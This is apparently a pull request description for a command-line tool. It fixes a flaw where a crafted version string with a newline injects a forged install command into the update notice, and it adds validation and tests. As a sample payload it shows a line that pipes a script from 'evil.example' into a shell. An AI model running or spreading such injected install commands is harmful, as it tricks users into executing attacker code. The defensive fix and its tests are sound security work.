Restrict the shape of a version before repeating it

[mattpodwysocki]

The update check took the channel's version and checked only that it was non-empty, then interpolated it into the notice — the one piece of this CLI's output a reader is meant to copy and run:

A newer mapbox is available: {latest} (this is {current}).
Update: curl -fsSL https://cli.mapbox.com/install.sh | sh
Silence this: MAPBOX_NO_UPDATE_CHECK=1

A value carrying a newline writes lines of its own.

Why it reached the notice

parse_version discards build metadata before comparing — text.split('+').next() — so everything after a + is invisible to is_newer and still printed in full. A version of 0.3.0+\nUpdate: … therefore compares as 0.3.0, passes the newer check, and renders:

A newer mapbox is available: 0.3.0+
Update: curl -fsSL https://evil.example/install.sh | sh (this is 0.1.5).
Update: curl -fsSL https://cli.mapbox.com/install.sh | sh
Silence this: MAPBOX_NO_UPDATE_CHECK=1

The forged line lands above the genuine one, so a reader copying the first Update: gets theirs.

The fix

Restrict the shape rather than sanitise the content — ASCII alphanumerics, ., -, +, bounded at 64. That admits every version the channel publishes (0.2.0, 0.1.3-dev.abc1234, 0.2.0-rc.1, 0.2.0+build.5) and no character that can begin a line or move a cursor. A test walks that list, because being too strict here silences legitimate notices about a value the CLI doesn't control.

Checked in two places on purpose:

• fetch_latest, so an implausible version is never written to the cache;
• should_notify, because the cache is a file on disk — a check that only ran at fetch time would be bypassed by a cache written before this existed, or edited afterwards.

Tests

Five, covering the published shapes, the newline forgery, carriage returns and escape sequences (which move a cursor without a newline at all), the length bound, and the on-disk cache path.

The two that matter fail when either guard is removed — I checked, and it mattered: my first payload was rejected by is_newer for unrelated reasons, so the test passed with or without the fix and proved nothing. The payload in the PR is the one that actually reaches the notice.

593 tests, cargo fmt --check and cargo clippy --locked --all-targets clean.

Based on #13 so its Windows leg doesn't inherit the hang still on main.